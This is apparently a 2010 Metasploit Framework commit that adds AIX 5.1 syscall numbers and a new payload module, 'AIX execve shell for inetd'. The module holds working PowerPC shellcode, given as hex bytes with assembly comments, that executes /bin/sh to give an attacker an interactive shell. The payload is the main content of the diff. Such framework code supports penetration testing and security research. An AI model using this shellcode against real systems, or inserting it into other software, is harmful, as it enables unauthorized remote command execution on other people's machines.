initial commit of aix cmsd exploit (not fully working yet)

git-svn-id: file:///home/svn/framework3/trunk@8397 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-02-08 00:44:37 +00:00
parent 9f174795d4
commit d68efa61d2
2 changed files with 71 additions and 0 deletions

View File

@ -112,6 +112,17 @@ module Msf::Payload::Aix
__NR_close = 245
__NR_kfcntl = 493
when '5.1'
__NR_execve = 5
__NR_getpeername = 122
__NR_accept = 138
__NR_listen = 137
__NR_bind = 140
__NR_socket = 141
__NR_connect = 142
__NR_close = 160
__NR_kfcntl = 322
end
__NC_execve = -(__CAL - __NR_execve)

View File

@ -0,0 +1,60 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/handler/find_shell'
require 'msf/base/sessions/command_shell'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Aix
def initialize(info = {})
super(merge_info(info,
'Name' => 'AIX execve shell for inetd',
'Version' => '$Revision$',
'Description' => 'Simply execve /bin/sh (for inetd programs)',
'Author' => 'jduck',
'License' => MSF_LICENSE,
'Platform' => 'aix',
'Arch' => ARCH_PPC,
'PayloadType' => 'cmd_interact',
'Handler' => Msf::Handler::FindShell,
'Session' => Msf::Sessions::CommandShell
))
end
def generate(*args)
super(*args)
payload =
"\x7c\xa5\x2a\x79" +# /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" +# /* bnel <shellcode> */
"\x7f\xe8\x02\xa6" +# /* mflr r31 */
"\x3b\xff\x01\x20" +# /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" +# /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" +# /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" +# /* st r3,-240(r31) */
"\x90\xbf\xff\x14" +# /* st r5,-236(r31) */
"\x88\x5f\xff\x0f" +# /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f" +# /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42" +# /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" +# /* svca */
"/bin/sh"+
"\x05"
end
end